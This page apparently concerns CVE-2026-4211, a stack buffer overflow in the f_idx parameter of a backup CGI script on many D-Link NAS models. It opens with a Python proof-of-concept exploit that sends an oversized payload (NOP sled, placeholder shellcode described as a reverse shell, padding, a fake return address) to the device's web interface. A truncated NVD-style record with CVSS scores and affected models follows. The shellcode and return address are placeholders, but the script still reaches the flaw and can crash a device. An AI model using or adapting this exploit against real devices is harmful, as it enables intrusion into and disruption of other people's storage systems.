CVE-2026-4211

#!/usr/bin/env python3 """ CVE-2026-4211 PoC - D-Link NAS Local_Backup_Info Stack Buffer Overflow Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys def exploit_dlink_buffer_overflow(target_ip, target_port=80): """ Exploit CVE-2026-4211 in D-Link NAS devices Args: target_ip: Target device IP address target_port: Target web interface port (default: 80) Returns: bool: True if exploit sent successfully, False otherwise """ # Target URL for the vulnerable CGI script url = f"http://{target_ip}:{target_port}/cgi-bin/local_backup_mgr.cgi" # Create overflow payload # NOP sled for reliable exploitation nop_sled = b"\x90" * 100 # Shellcode: Execute reverse shell to attacker machine # This is a placeholder - actual shellcode would be architecture-specific shellcode = b"\xcc" * 50 # INT3 for debugging # Overflow buffer - exceeds stack buffer size overflow_payload = nop_sled + shellcode # Padding to reach return address overwrite padding = b"A" * (500 - len(overflow_payload)) # Target return address (would need ASLR bypass in real attack) return_address = b"\x42\x42\x42\x42" # BBBB placeholder # Final payload payload = overflow_payload + padding + return_address # HTTP GET request with overflow in f_idx parameter params = { 'f_idx': payload.decode('latin-1'), 'cmd': 'get_backup_info' } try: print(f"[*] Sending exploit to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") response = requests.get(url, params=params, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[-] Request timed out - target may be vulnerable and crashed") return True except requests.exceptions.ConnectionError: print("[-] Connection failed - target may be down or not vulnerable") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_dlink_buffer_overflow(target, port)

{"cve": {"id": "CVE-2026-4211", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:07.387", "lastModified": "2026-03-19T14:29:21.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. Affected by this issue is the function Local_Backup_Info of the file /cgi-bin/local_backup_mgr.cgi. This manipulation of the argument f_idx causes stack-based buffer overflow. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks."}, {"lang": "es", "value": "Se ha identificado una debilidad en D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 y DNS-1550-04 hasta 20260205. Afectada por este problema es la función Local_Backup_Info del archivo /cgi-bin/local_backup_mgr.cgi. Esta manipulación del argumento f_idx causa un desbordamiento de búfer basado en pila. El ataque puede iniciarse remotamente. El exploit ha sido puesto a disposición del público y podría usarse para ataques."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dnr-202l_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "2026-02-05", "matchCriteriaId": "E20A03F5-6985-4917-8E5B-48963FB62AF2"}]}, {"operator": " ... (truncated)